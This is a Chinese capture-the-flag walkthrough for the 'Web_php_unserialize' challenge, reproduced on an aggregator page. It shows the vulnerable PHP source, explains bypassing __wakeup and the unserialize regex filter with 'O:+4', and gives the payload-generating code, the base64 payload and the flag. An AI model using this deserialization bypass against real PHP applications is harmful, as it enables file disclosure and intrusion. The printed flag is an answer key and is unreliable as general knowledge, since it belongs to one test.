当前位置: 首页 > news >正文

攻防世界-Web-Web_php_unserialize

知识点

1.php反序列化

2.正则匹配

步骤

1.阅读源码

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //如果file不是index.php则设置为index.php//the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) {  //var是否设置$var = base64_decode($_GET['var']);  //base64解码varif (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配vardie('stop hacking!'); } else {@unserialize($var); //反序列化var} 
} else { highlight_file("index.php"); 
} 
?>

绕过:1.绕过__wakeup魔术方法(序列化字符串表示变量的数字大于实际变量的数字)

           2.绕过正则匹配:

[oc]匹配字符o或c,\d匹配数字,+前一个可以 出现一次或n次,/i不区分大小写。

这里有个小知识:序列化字符串中添加+和不添加效果是一样的,所以可以在o后添加+号绕过

然后对字符串进行base64编码即可

php代码

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}$a = serialize(new Demo('fl4g.php'));
$b = str_replace('O:4','O:+4',$a);
$c = str_replace(':1:',':2:',$b);echo(base64_encode($c));?>

payload=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

flag:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

http://www.dtcms.com/a/434835.html

相关文章:

  • Deep Learning|01 RBF Network
  • 指针步长:C/C++内存操控的核心法则
  • 服装网站建设分析wordpress模板如何用
  • wordpress后台菜单管理程序代码优化网站
  • Windows 常用短文件名(8.3 格式)介绍
  • 【stm32】【edgetx】解析链接脚本文件(ld)
  • 商务网站构建与维护网站建设所有权
  • C语言速成秘籍——跳转语句(goto)
  • WPF实现串口热插拔 (提供百度网盘源代码)
  • 企业网站关键词排名南京比较好的网络策划公司
  • FFmpeg 核心 API 系列:avcodec_find_decoder / avcodec_alloc_context3 / avcodec_open2
  • 文件上传简单的绕过总结
  • Visual Studio Code中launch.json深度解析:C++调试的艺术
  • 天长市建设局网站惠来做网站
  • 51单片机红外遥控
  • Java 集合 “List + Set”面试清单(含超通俗生活案例与深度理解)
  • 云南网站建设哪个好软文广告平台
  • 《嵌入式 – GD32开发实战指南(RISC-V版本)》第8章 PWM输出实现
  • HNU 编译系统 第一次作业
  • 网站怎么做交易平台图片生成网页链接在线
  • 渗透测试中的信息收集:文档元数据
  • minikube 的 kubernetes 入门教程-kubeSphere
  • 深圳 手机网站建设彩妆做推广的网站
  • 网站跳转是什么意思郑州建站网站的公司
  • 老题新解|再求 f(x,n)
  • 【Android cmd命令的执行流程】
  • c++26新功能—constexpr在稳定排序中的应用
  • AI生成悬疑故事
  • 泰山派rk3566烧录
  • Phpstudy博客网站apache2日志分析python代码